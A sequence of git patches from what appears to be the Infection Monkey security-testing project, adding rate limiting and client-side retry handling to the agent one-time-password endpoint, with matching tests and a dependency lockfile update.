*AgentOTP.urls, resource_class_args=(otp_generator, limiter)) api.add_resource( AgentOTPLogin, *AgentOTPLogin.urls, diff --git a/monkey/monkey_island/cc/services/authentication_service/setup.py b/monkey/monkey_island/cc/services/authentication_service/setup.py index f795411a4b5..a839e65eff0 100644 --- a/monkey/monkey_island/cc/services/authentication_service/setup.py +++ b/monkey/monkey_island/cc/services/authentication_service/setup.py @@ -1,6 +1,7 @@ from pathlib import Path from flask import Flask +from flask_limiter import Limiter from flask_security import Security from common import DIContainer @@ -17,14 +18,14 @@ from .token_parser import TokenParser -def setup_authentication(api, app: Flask, container: DIContainer, data_dir: Path): +def setup_authentication(api, app: Flask, container: DIContainer, data_dir: Path, limiter: Limiter): security = configure_flask_security(app, data_dir) authentication_facade = _build_authentication_facade(container, security) otp_generator = AuthenticationServiceOTPGenerator(authentication_facade) container.register_instance(IOTPGenerator, otp_generator) - register_resources(api, authentication_facade, otp_generator) + register_resources(api, authentication_facade, otp_generator, limiter) # revoke all old tokens so that the user has to log in again on startup authentication_facade.revoke_all_tokens_for_all_users() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py index ffb8ba47887..9ad8be42133 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py @@ -48,7 +48,7 @@ def inner(): def get_mock_auth_app(authentication_facade: AuthenticationFacade, otp_generator: IOTPGenerator): app, api = init_mock_security_app() - register_resources(api, authentication_facade, otp_generator) + register_resources(api, authentication_facade, otp_generator, MagicMock()) return app diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 071d880eced..42e0d23c588 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -238,7 +238,7 @@ def test_setup_authentication__revokes_tokens( container.register_instance(ILockableEncryptor, mock_repository_encryptor) container.register_instance(IIslandEventQueue, mock_island_event_queue) container.register_instance(pymongo.MongoClient, MockMongoClient()) - setup_authentication(MagicMock(), MagicMock(), container, Path("data_dir")) + setup_authentication(MagicMock(), MagicMock(), container, Path("data_dir"), MagicMock()) assert mock_user_datastore.set_uniquifier.call_count == len(USERS) for user in USERS: From d6b63a451ad130129affaf9d958f0b9b70878f28 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Apr 2023 12:45:17 +0000 Subject: [PATCH 1091/1338] BB: Skip waiting for machines if they're not being used --- envs/monkey_zoo/blackbox/test_blackbox.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 7ff3e17c7c5..15241b705d4 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -49,7 +49,11 @@ @pytest.fixture(autouse=True, scope="session") def GCPHandler(request, no_gcp, gcp_machines_to_start): - if not no_gcp: + if no_gcp: + return + if len(gcp_machines_to_start) == 0: + LOGGER.info("No GCP machines to start.") + else: LOGGER.info(f"MACHINES TO START: {gcp_machines_to_start}") try: From 6a6d618912cb5fc5b9ae6ce653a8e9f0aab6b28b Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Apr 2023 14:57:32 +0000 Subject: [PATCH 1092/1338] Island: Increase OTP request limit to 50/s --- envs/monkey_zoo/blackbox/test_blackbox.py | 5 ++++- .../authentication_service/flask_resources/agent_otp.py | 7 ++++++- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 15241b705d4..c55bf70579c 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -39,6 +39,9 @@ start_machines, stop_machines, ) +from monkey_island.cc.services.authentication_service.flask_resources.agent_otp import ( + MAX_OTP_REQUESTS_PER_SECOND, +) DEFAULT_TIMEOUT_SECONDS = 2 * 60 + 30 MACHINE_BOOTUP_WAIT_SECONDS = 30 @@ -162,7 +165,7 @@ def test_logout_invalidates_all_tokens(island): def test_agent_otp_rate_limit(island): - for _ in range(0, 10): + for _ in range(0, MAX_OTP_REQUESTS_PER_SECOND): response = requests.get(f"https://{island}/api/agent-otp", verify=False) # noqa: DUO123 assert response.status_code == HTTPStatus.OK diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py index 7fd59c486f8..f6e0a6bbaed 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp.py @@ -10,6 +10,9 @@ from ..i_otp_generator import IOTPGenerator +MAX_OTP_REQUESTS_PER_SECOND = 50 + + class AgentOTP(AbstractResource): """ A resource for requesting an Agent's one-time password @@ -32,7 +35,9 @@ def __init__(self, otp_generator: IOTPGenerator, limiter: Limiter): with AgentOTP.lock: if AgentOTP.limiter is None: AgentOTP.limiter = limiter.limit( - "10/second", key_func=get_remote_address, per_method=True + f"{MAX_OTP_REQUESTS_PER_SECOND}/second", + key_func=get_remote_address, + per_method=True, ) self._otp_generator = otp_generator From a1d89da2fca479942de48c92ba4e816069eb2efe Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Apr 2023 15:58:11 +0000 Subject: [PATCH 1093/1338] Agent: Add error for request limit exceeded --- .../infection_monkey/island_api_client/__init__.py | 2 ++ .../island_api_client/http_island_api_client.py | 9 ++++++++- .../island_api_client/i_island_api_client.py | 1 + .../island_api_client/island_api_client_errors.py | 10 ++++++++++ .../test_http_island_api_client.py | 13 +++++++++++++ 5 files changed, 34 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/island_api_client/__init__.py b/monkey/infection_monkey/island_api_client/__init__.py index 14701554414..9082edb27ed 100644 --- a/monkey/infection_monkey/island_api_client/__init__.py +++ b/monkey/infection_monkey/island_api_client/__init__.py @@ -4,6 +4,8 @@ IslandAPIRequestError, IslandAPIRequestFailedError, IslandAPITimeoutError, + IslandAPIAuthenticationError, + IslandAPIRequestLimitExceededError, ) from .i_island_api_client import IIslandAPIClient from .abstract_island_api_client_factory import AbstractIslandAPIClientFactory diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index a3581542e83..5c9b2b4edc1 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -1,6 +1,7 @@ import functools import json import logging +from http import HTTPStatus from pprint import pformat from typing import Any, Dict, List, Sequence @@ -20,7 +21,11 @@ from . import IIslandAPIClient, IslandAPIRequestError from .http_client import HTTPClient -from .island_api_client_errors import IslandAPIAuthenticationError, IslandAPIResponseParsingError +from .island_api_client_errors import ( + IslandAPIAuthenticationError, + IslandAPIRequestLimitExceededError, + IslandAPIResponseParsingError, +) logger = logging.getLogger(__name__) @@ -116,6 +121,8 @@ def get_agent_binary(self, operating_system: OperatingSystem) -> bytes: @handle_authentication_token_expiration def get_otp(self) -> str: response = self._http_client.get("/agent-otp") + if response.status_code == HTTPStatus.TOO_MANY_REQUESTS: + raise IslandAPIRequestLimitExceededError("Too many requests to get OTP.") return response.json()["otp"] @handle_response_parsing_errors diff --git a/monkey/infection_monkey/island_api_client/i_island_api_client.py b/monkey/infection_monkey/island_api_client/i_island_api_client.py index b6a66d4ed5b..e43f3d6299f 100644 --- a/monkey/infection_monkey/island_api_client/i_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/i_island_api_client.py @@ -61,6 +61,7 @@ def get_otp(self) -> str: Island due to an issue in the request sent from the client :raises IslandAPIRequestFailedError: If an error occurs while attempting to connect to the Island due to an error on the server + :raises IslandAPIRequestLimitExceededError: If the request limit for OTPs has been exceeded :raises IslandAPITimeoutError: If a timeout occurs while attempting to connect to the Island :raises IslandAPIError: If an unexpected error occurs while attempting to get an OTP :return: The OTP diff --git a/monkey/infection_monkey/island_api_client/island_api_client_errors.py b/monkey/infection_monkey/island_api_client/island_api_client_errors.py index 3c8b606a3f2..7f632775eff 100644 --- a/monkey/infection_monkey/island_api_client/island_api_client_errors.py +++ b/monkey/infection_monkey/island_api_client/island_api_client_errors.py @@ -50,3 +50,13 @@ class IslandAPIResponseParsingError(IslandAPIError): """ Raised when IslandAPIClient fails to parse the response """ + + pass + + +class IslandAPIRequestLimitExceededError(IslandAPIError): + """ + Raised when the API request fails due to rate limiting + """ + + pass diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py index 8898007940f..9651f511590 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_island_api_client.py @@ -1,4 +1,5 @@ import json +from http import HTTPStatus from typing import Dict, List from unittest.mock import MagicMock from uuid import UUID @@ -33,6 +34,7 @@ ) from infection_monkey.island_api_client.island_api_client_errors import ( IslandAPIAuthenticationError, + IslandAPIRequestLimitExceededError, IslandAPIResponseParsingError, ) @@ -242,6 +244,17 @@ def test_island_api_client_get_otp__incorrect_response(): api_client.get_otp() +def test_island_api_client_get_otp__raises_request_limit_exceeded(): + response_stub = MagicMock() + response_stub.status_code = HTTPStatus.TOO_MANY_REQUESTS + http_client_stub = MagicMock() + http_client_stub.get.return_value = response_stub + api_client = build_api_client(http_client_stub) + + with pytest.raises(IslandAPIRequestLimitExceededError): + api_client.get_otp() + + def test_island_api_client__handled_exceptions(): http_client_stub = MagicMock() http_client_stub.get = MagicMock(side_effect=json.JSONDecodeError) From a7778c276536fac66bc3fae5b620003ec4ac479e Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Apr 2023 16:00:02 +0000 Subject: [PATCH 1094/1338] Agent: Retry OTP request if request limit exceeded --- .../exploit/island_api_agent_otp_provider.py | 12 ++++- .../test_island_api_agent_otp_provider.py | 53 +++++++++++++++++++ 2 files changed, 63 insertions(+), 2 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/test_island_api_agent_otp_provider.py diff --git a/monkey/infection_monkey/exploit/island_api_agent_otp_provider.py b/monkey/infection_monkey/exploit/island_api_agent_otp_provider.py index 6eee3574fa4..3335d001a90 100644 --- a/monkey/infection_monkey/exploit/island_api_agent_otp_provider.py +++ b/monkey/infection_monkey/exploit/island_api_agent_otp_provider.py @@ -1,4 +1,6 @@ -from infection_monkey.island_api_client import IIslandAPIClient +from time import sleep + +from infection_monkey.island_api_client import IIslandAPIClient, IslandAPIRequestLimitExceededError from .i_agent_otp_provider import IAgentOTPProvider @@ -8,4 +10,10 @@ def __init__(self, island_api_client: IIslandAPIClient): self._island_api_client = island_api_client def get_otp(self) -> str: - return self._island_api_client.get_otp() + for _ in range(6): + try: + return self._island_api_client.get_otp() + except IslandAPIRequestLimitExceededError: + sleep(0.5) + continue + raise IslandAPIRequestLimitExceededError("Failed to get OTP: Too many requests.") diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_island_api_agent_otp_provider.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_island_api_agent_otp_provider.py new file mode 100644 index 00000000000..0b26edfe3ff --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_island_api_agent_otp_provider.py @@ -0,0 +1,53 @@ +from contextlib import suppress +from unittest.mock import MagicMock + +import pytest + +from infection_monkey.exploit import IslandAPIAgentOTPProvider +from infection_monkey.island_api_client import ( + IslandAPIAuthenticationError, + IslandAPIConnectionError, + IslandAPIError, + IslandAPIRequestError, + IslandAPIRequestFailedError, + IslandAPIRequestLimitExceededError, + IslandAPITimeoutError, +) + + +def test_get_otp__retries_if_rate_limit_hit(monkeypatch): + monkeypatch.setattr( + "infection_monkey.exploit.island_api_agent_otp_provider.sleep", lambda _: None + ) + island_api_client = MagicMock() + island_api_client.get_otp.side_effect = IslandAPIRequestLimitExceededError + otp_provider = IslandAPIAgentOTPProvider(island_api_client) + + with suppress(IslandAPIRequestLimitExceededError): + otp_provider.get_otp() + + assert island_api_client.get_otp.call_count > 1 + + +@pytest.mark.parametrize( + "error", + [ + IslandAPIAuthenticationError, + IslandAPIConnectionError, + IslandAPIRequestError, + IslandAPIRequestFailedError, + IslandAPIRequestLimitExceededError, + IslandAPITimeoutError, + IslandAPIError, + ], +) +def test_get_otp__raises_error_if_unable_to_retrieve_otp(monkeypatch, error): + monkeypatch.setattr( + "infection_monkey.exploit.island_api_agent_otp_provider.sleep", lambda _: None + ) + island_api_client = MagicMock() + island_api_client.get_otp.side_effect = error + otp_provider = IslandAPIAgentOTPProvider(island_api_client) + + with pytest.raises(error): + otp_provider.get_otp() From 06abdbdd100a5f44dc925f7411799d3e70016f68 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 Apr 2023 13:30:50 -0400 Subject: [PATCH 1095/1338] Island: Add Flask-Limiter to Pipfile.lock --- monkey/monkey_island/Pipfile.lock | 201 +++++++++++++++++++++++++++--- 1 file changed, 181 insertions(+), 20 deletions(-) diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index 342606584f2..8a57f4c93ad 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "9fefb12ab01f62044888a67ec74a455545d439a8aa288c355da0ed91d0f42113" + "sha256": "2f0bd36b3908306331b16f740cba3208582a08d63a90f111ec60f966aa15acc4" }, "pipfile-spec": 6, "requires": { @@ -75,27 +75,27 @@ }, "blinker": { "hashes": [ - "sha256:1eb563df6fdbc39eeddc177d953203f99f097e9bf0e2b8f9f3cf18b6ca425e36", - "sha256:923e5e2f69c155f2cc42dafbbd70e16e3fde24d2d4aa2ab72fbe386238892462" + "sha256:5874afe21df4bae8885d31a0a6c4b5861910a575eae6176f051fbb9a6571481b", + "sha256:eeebd5dfc782e1817fe4261ce79936c8c8cefb90d685caf50cec458029f773c1" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==1.5" + "markers": "python_version >= '3.7'", + "version": "==1.6" }, "boto3": { "hashes": [ - "sha256:5f5279a63b359ba8889e9a81b319e745b14216608ffb5a39fcbf269d1af1ea83", - "sha256:670ae4d1875a2162e11c6e941888817c3e9cf1bb9a3335b3588d805b7d24da31" + "sha256:2914776e0138530ec6464d0e2f05b4aa18e9212ac920c48472f8a93650feaed2", + "sha256:f4951f8162905b96fd045e32853ba8cf707042faac846a23910817c508ef27d7" ], "index": "pypi", - "version": "==1.26.101" + "version": "==1.26.105" }, "botocore": { "hashes": [ - "sha256:60c7a7bf8e2a288735e507007a6769be03dc24815f7dc5c7b59b12743f4a31cf", - "sha256:7bb60d9d4c49500df55dfb6005c16002703333ff5f69dada565167c8d493dfd5" + "sha256:06a2838daad3f346cba5460d0d3deb198225b556ff9ca729798d787fadbdebde", + "sha256:17c82391dfd6aaa8f96fbbb08cad2c2431ef3cda0ece89e6e6ba444c5eed45c2" ], "index": "pypi", - "version": "==1.29.101" + "version": "==1.29.105" }, "certifi": { "hashes": [ @@ -297,6 +297,14 @@ "index": "pypi", "version": "==40.0.1" }, + "deprecated": { + "hashes": [ + "sha256:43ac5335da90c31c24ba028af536a91d41d53f9e6901ddb021bcc572ce44e38d", + "sha256:64756e3e14c8c5eea9795d93c524551432a0be75629f8f29e67ab8caf076c76d" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==1.2.13" + }, "dnspython": { "hashes": [ "sha256:224e32b03eb46be70e12ef6d64e0be123a64e621ab4c0822ff6d450d52a540b9", @@ -337,6 +345,14 @@ "index": "pypi", "version": "==2.2.3" }, + "flask-limiter": { + "hashes": [ + "sha256:8a03a3c173e770f4fc3e8e5998b84931e48c4b50375096aef2afcdeadc64086d", + "sha256:afa9555ed3d0a727c6d3d9890c2b495b9d7845b3a43f641a4e7b274556a41988" + ], + "index": "pypi", + "version": "==3.3.0" + }, "flask-login": { "hashes": [ "sha256:1ef79843f5eddd0f143c2cd994c1b05ac83c0401dc6234c143495af9a939613f", @@ -523,6 +539,14 @@ "index": "pypi", "version": "==0.2.0" }, + "importlib-resources": { + "hashes": [ + "sha256:4be82589bf5c1d7999aedf2a45159d10cb3ca4f19b2271f8792bc8e6da7b22f6", + "sha256:7b1deeebbf351c7578e09bf2f63fa2ce8b5ffec296e0d349139d43cca061a81a" + ], + "markers": "python_version >= '3.7'", + "version": "==5.12.0" + }, "ipaddress": { "hashes": [ "sha256:6e0f4a39e66cb5bb9a137b00276a2eff74f93b71dcbdad6f10ff7df9d3557fcc", @@ -563,6 +587,22 @@ "index": "pypi", "version": "==3.2.0" }, + "limits": { + "hashes": [ + "sha256:df8685b1aff349b5199628ecdf41a9f339a35233d8e4fcd9c3e10002e4419b45", + "sha256:dfc59ed5b4847e33a33b88ec16033bed18ce444ce6a76287a4e054db9a683861" + ], + "markers": "python_version >= '3.7'", + "version": "==3.3.1" + }, + "markdown-it-py": { + "hashes": [ + "sha256:5a35f8d1870171d9acc47b99612dc146129b631baf04970128b568f190d0cc30", + "sha256:7c9a5e412688bc771c67432cbfebcdd686c93ce6484913dccf06cb5a0bea35a1" + ], + "markers": "python_version >= '3.7'", + "version": "==2.2.0" + }, "markupsafe": { "hashes": [ "sha256:0576fe974b40a400449768941d5d0858cc624e3249dfd1e0c33674e5c7ca7aed", @@ -619,6 +659,14 @@ "markers": "python_version >= '3.7'", "version": "==2.1.2" }, + "mdurl": { + "hashes": [ + "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", + "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba" + ], + "markers": "python_version >= '3.7'", + "version": "==0.1.2" + }, "mongoengine": { "hashes": [ "sha256:8f38df7834dc4b192d89f2668dcf3091748d12f74d55648ce77b919167a4a49b", @@ -627,6 +675,22 @@ "markers": "python_version >= '3.7'", "version": "==0.27.0" }, + "ordered-set": { + "hashes": [ + "sha256:046e1132c71fcf3330438a539928932caf51ddbc582496833e23de611de14562", + "sha256:694a8e44c87657c59292ede72891eb91d34131f6531463aab3009191c77364a8" + ], + "markers": "python_version >= '3.7'", + "version": "==4.1.0" + }, + "packaging": { + "hashes": [ + "sha256:714ac14496c3e68c99c29b00845f7a2b85f3bb6f1078fd9f72fd20f0570002b2", + "sha256:b6ad297f8907de0fa2fe1ccbd26fdaf387f5f47c7275fedf8cce89f99446cf97" + ], + "markers": "python_version >= '3.7'", + "version": "==23.0" + }, "passlib": { "hashes": [ "sha256:aa6bca462b8d8bda89c70b382f0c298a20b5560af6cbfa2dce410c0a2fb669f1", @@ -700,6 +764,14 @@ "index": "pypi", "version": "==1.10.7" }, + "pygments": { + "hashes": [ + "sha256:b3ed06a9e8ac9a9aae5a6f5dbe78a8a58655d17b43b93c078f094ddc476ae297", + "sha256:fa7bd7bd2771287c0de303af8bfdfc731f51bd2c6a47ab69d117138893b82717" + ], + "markers": "python_version >= '3.6'", + "version": "==2.14.0" + }, "pyinstaller": { "hashes": [ "sha256:12ca6567be457826e14416637ea54485a185d0ce7a5a044df0d0daf588fff6d1", @@ -953,12 +1025,20 @@ "index": "pypi", "version": "==2.28.2" }, + "rich": { + "hashes": [ + "sha256:540c7d6d26a1178e8e8b37e9ba44573a3cd1464ff6348b99ee7061b95d1c6333", + "sha256:dc84400a9d842b3a9c5ff74addd8eb798d155f36c1c91303888e0a66850d2a15" + ], + "markers": "python_full_version >= '3.7.0'", + "version": "==13.3.3" + }, "ring": { "hashes": [ - "sha256:8d67e3b46372199b2a4501dc1ff5f8a812a82dec9444f85f95e157366bcf832f" + "sha256:5959e867978f29ad3399b011e7c7b5116fdf60fad9e63881df66e890cdbe329c" ], "index": "pypi", - "version": "==0.10.0" + "version": "==0.10.1" }, "s3transfer": { "hashes": [ @@ -1037,6 +1117,87 @@ ], "version": "==0.4.7" }, + "wrapt": { + "hashes": [ + "sha256:02fce1852f755f44f95af51f69d22e45080102e9d00258053b79367d07af39c0", + "sha256:077ff0d1f9d9e4ce6476c1a924a3332452c1406e59d90a2cf24aeb29eeac9420", + "sha256:078e2a1a86544e644a68422f881c48b84fef6d18f8c7a957ffd3f2e0a74a0d4a", + "sha256:0970ddb69bba00670e58955f8019bec4a42d1785db3faa043c33d81de2bf843c", + "sha256:1286eb30261894e4c70d124d44b7fd07825340869945c79d05bda53a40caa079", + "sha256:21f6d9a0d5b3a207cdf7acf8e58d7d13d463e639f0c7e01d82cdb671e6cb7923", + "sha256:230ae493696a371f1dbffaad3dafbb742a4d27a0afd2b1aecebe52b740167e7f", + "sha256:26458da5653aa5b3d8dc8b24192f574a58984c749401f98fff994d41d3f08da1", + "sha256:2cf56d0e237280baed46f0b5316661da892565ff58309d4d2ed7dba763d984b8", + "sha256:2e51de54d4fb8fb50d6ee8327f9828306a959ae394d3e01a1ba8b2f937747d86", + "sha256:2fbfbca668dd15b744418265a9607baa970c347eefd0db6a518aaf0cfbd153c0", + "sha256:38adf7198f8f154502883242f9fe7333ab05a5b02de7d83aa2d88ea621f13364", + "sha256:3a8564f283394634a7a7054b7983e47dbf39c07712d7b177b37e03f2467a024e", + "sha256:3abbe948c3cbde2689370a262a8d04e32ec2dd4f27103669a45c6929bcdbfe7c", + "sha256:3bbe623731d03b186b3d6b0d6f51865bf598587c38d6f7b0be2e27414f7f214e", + "sha256:40737a081d7497efea35ab9304b829b857f21558acfc7b3272f908d33b0d9d4c", + "sha256:41d07d029dd4157ae27beab04d22b8e261eddfc6ecd64ff7000b10dc8b3a5727", + "sha256:46ed616d5fb42f98630ed70c3529541408166c22cdfd4540b88d5f21006b0eff", + "sha256:493d389a2b63c88ad56cdc35d0fa5752daac56ca755805b1b0c530f785767d5e", + "sha256:4ff0d20f2e670800d3ed2b220d40984162089a6e2c9646fdb09b85e6f9a8fc29", + "sha256:54accd4b8bc202966bafafd16e69da9d5640ff92389d33d28555c5fd4f25ccb7", + "sha256:56374914b132c702aa9aa9959c550004b8847148f95e1b824772d453ac204a72", + "sha256:578383d740457fa790fdf85e6d346fda1416a40549fe8db08e5e9bd281c6a475", + "sha256:58d7a75d731e8c63614222bcb21dd992b4ab01a399f1f09dd82af17bbfc2368a", + "sha256:5c5aa28df055697d7c37d2099a7bc09f559d5053c3349b1ad0c39000e611d317", + "sha256:5fc8e02f5984a55d2c653f5fea93531e9836abbd84342c1d1e17abc4a15084c2", + "sha256:63424c681923b9f3bfbc5e3205aafe790904053d42ddcc08542181a30a7a51bd", + "sha256:64b1df0f83706b4ef4cfb4fb0e4c2669100fd7ecacfb59e091fad300d4e04640", + "sha256:74934ebd71950e3db69960a7da29204f89624dde411afbfb3b4858c1409b1e98", + "sha256:75669d77bb2c071333417617a235324a1618dba66f82a750362eccbe5b61d248", + "sha256:75760a47c06b5974aa5e01949bf7e66d2af4d08cb8c1d6516af5e39595397f5e", + "sha256:76407ab327158c510f44ded207e2f76b657303e17cb7a572ffe2f5a8a48aa04d", + "sha256:76e9c727a874b4856d11a32fb0b389afc61ce8aaf281ada613713ddeadd1cfec", + "sha256:77d4c1b881076c3ba173484dfa53d3582c1c8ff1f914c6461ab70c8428b796c1", + "sha256:780c82a41dc493b62fc5884fb1d3a3b81106642c5c5c78d6a0d4cbe96d62ba7e", + "sha256:7dc0713bf81287a00516ef43137273b23ee414fe41a3c14be10dd95ed98a2df9", + "sha256:7eebcdbe3677e58dd4c0e03b4f2cfa346ed4049687d839adad68cc38bb559c92", + "sha256:896689fddba4f23ef7c718279e42f8834041a21342d95e56922e1c10c0cc7afb", + "sha256:96177eb5645b1c6985f5c11d03fc2dbda9ad24ec0f3a46dcce91445747e15094", + "sha256:96e25c8603a155559231c19c0349245eeb4ac0096fe3c1d0be5c47e075bd4f46", + "sha256:9d37ac69edc5614b90516807de32d08cb8e7b12260a285ee330955604ed9dd29", + "sha256:9ed6aa0726b9b60911f4aed8ec5b8dd7bf3491476015819f56473ffaef8959bd", + "sha256:a487f72a25904e2b4bbc0817ce7a8de94363bd7e79890510174da9d901c38705", + "sha256:a4cbb9ff5795cd66f0066bdf5947f170f5d63a9274f99bdbca02fd973adcf2a8", + "sha256:a74d56552ddbde46c246b5b89199cb3fd182f9c346c784e1a93e4dc3f5ec9975", + "sha256:a89ce3fd220ff144bd9d54da333ec0de0399b52c9ac3d2ce34b569cf1a5748fb", + "sha256:abd52a09d03adf9c763d706df707c343293d5d106aea53483e0ec8d9e310ad5e", + "sha256:abd8f36c99512755b8456047b7be10372fca271bf1467a1caa88db991e7c421b", + "sha256:af5bd9ccb188f6a5fdda9f1f09d9f4c86cc8a539bd48a0bfdc97723970348418", + "sha256:b02f21c1e2074943312d03d243ac4388319f2456576b2c6023041c4d57cd7019", + "sha256:b06fa97478a5f478fb05e1980980a7cdf2712015493b44d0c87606c1513ed5b1", + "sha256:b0724f05c396b0a4c36a3226c31648385deb6a65d8992644c12a4963c70326ba", + "sha256:b130fe77361d6771ecf5a219d8e0817d61b236b7d8b37cc045172e574ed219e6", + "sha256:b56d5519e470d3f2fe4aa7585f0632b060d532d0696c5bdfb5e8319e1d0f69a2", + "sha256:b67b819628e3b748fd3c2192c15fb951f549d0f47c0449af0764d7647302fda3", + "sha256:ba1711cda2d30634a7e452fc79eabcadaffedf241ff206db2ee93dd2c89a60e7", + "sha256:bbeccb1aa40ab88cd29e6c7d8585582c99548f55f9b2581dfc5ba68c59a85752", + "sha256:bd84395aab8e4d36263cd1b9308cd504f6cf713b7d6d3ce25ea55670baec5416", + "sha256:c99f4309f5145b93eca6e35ac1a988f0dc0a7ccf9ccdcd78d3c0adf57224e62f", + "sha256:ca1cccf838cd28d5a0883b342474c630ac48cac5df0ee6eacc9c7290f76b11c1", + "sha256:cd525e0e52a5ff16653a3fc9e3dd827981917d34996600bbc34c05d048ca35cc", + "sha256:cdb4f085756c96a3af04e6eca7f08b1345e94b53af8921b25c72f096e704e145", + "sha256:ce42618f67741d4697684e501ef02f29e758a123aa2d669e2d964ff734ee00ee", + "sha256:d06730c6aed78cee4126234cf2d071e01b44b915e725a6cb439a879ec9754a3a", + "sha256:d5fe3e099cf07d0fb5a1e23d399e5d4d1ca3e6dfcbe5c8570ccff3e9208274f7", + "sha256:d6bcbfc99f55655c3d93feb7ef3800bd5bbe963a755687cbf1f490a71fb7794b", + "sha256:d787272ed958a05b2c86311d3a4135d3c2aeea4fc655705f074130aa57d71653", + "sha256:e169e957c33576f47e21864cf3fc9ff47c223a4ebca8960079b8bd36cb014fd0", + "sha256:e20076a211cd6f9b44a6be58f7eeafa7ab5720eb796975d0c03f05b47d89eb90", + "sha256:e826aadda3cae59295b95343db8f3d965fb31059da7de01ee8d1c40a60398b29", + "sha256:eef4d64c650f33347c1f9266fa5ae001440b232ad9b98f1f43dfe7a79435c0a6", + "sha256:f2e69b3ed24544b0d3dbe2c5c0ba5153ce50dcebb576fdc4696d52aa22db6034", + "sha256:f87ec75864c37c4c6cb908d282e1969e79763e0d9becdfe9fe5473b7bb1e5f09", + "sha256:fbec11614dba0424ca72f4e8ba3c420dba07b4a7c206c8c8e4e73f2e98f4c559", + "sha256:fd69666217b62fa5d7c6aa88e507493a34dec4fa20c5bd925e4bc12fce586639" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==1.15.0" + }, "wtforms": { "extras": [ "email" @@ -1359,7 +1520,7 @@ "sha256:cd22d1ba06941384410cd967d8a99d5ae2442f57dfafeff2fda5de8dc5c05446", "sha256:ea1b963b993cb9ea195adbd893a48d573fda951b0da64f60883d7e988b606c9f" ], - "index": "pypi", + "markers": "python_version >= '3.6'", "version": "==1.2.2" }, "idna": { @@ -1763,19 +1924,19 @@ }, "types-python-dateutil": { "hashes": [ - "sha256:357553f8056cfbb8ce8ea0ca4a6a3480268596748360df73a94c2b8c113a5b06", - "sha256:de66222c54318c2e05ceb4956976d16696240a45fc2c98e54bfe9a56ce5e1eff" + "sha256:355b2cb82b31e556fd18e7b074de7c350c680ab80608f0cc55ba6770d986d67d", + "sha256:fe5b545e678ec13e3ddc83a0eee1545c1b5e2fba4cfc39b276ab6f4e7604a923" ], "index": "pypi", - "version": "==2.8.19.11" + "version": "==2.8.19.12" }, "types-pytz": { "hashes": [ - "sha256:2dd8a7667740e89ced9da99e4749327bde4c1d78b45c5c38217a296f4564b2b6", - "sha256:9422758e1d506fa4b75bc3679b5cbc9ce218696a9178788464b074ff6b986e0a" + "sha256:4fc2a7fbbc315f0b6630e0b899fd6c743705abe1094d007b0e612d10da15e0f3", + "sha256:ecdc70d543aaf3616a7e48631543a884f74205f284cefd6649ddf44c6a820aac" ], "index": "pypi", - "version": "==2023.2.0.1" + "version": "==2023.3.0.0" }, "types-pyyaml": { "hashes": [ From 7a75767c830e9170065269ebec7dd943d82c19d9 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Apr 2023 17:27:47 +0000 Subject: [PATCH 1096/1338] Island: Use explicit None check for AgentOTP.limiter --- .../authentication_service/flask_resources/agent_otp.py 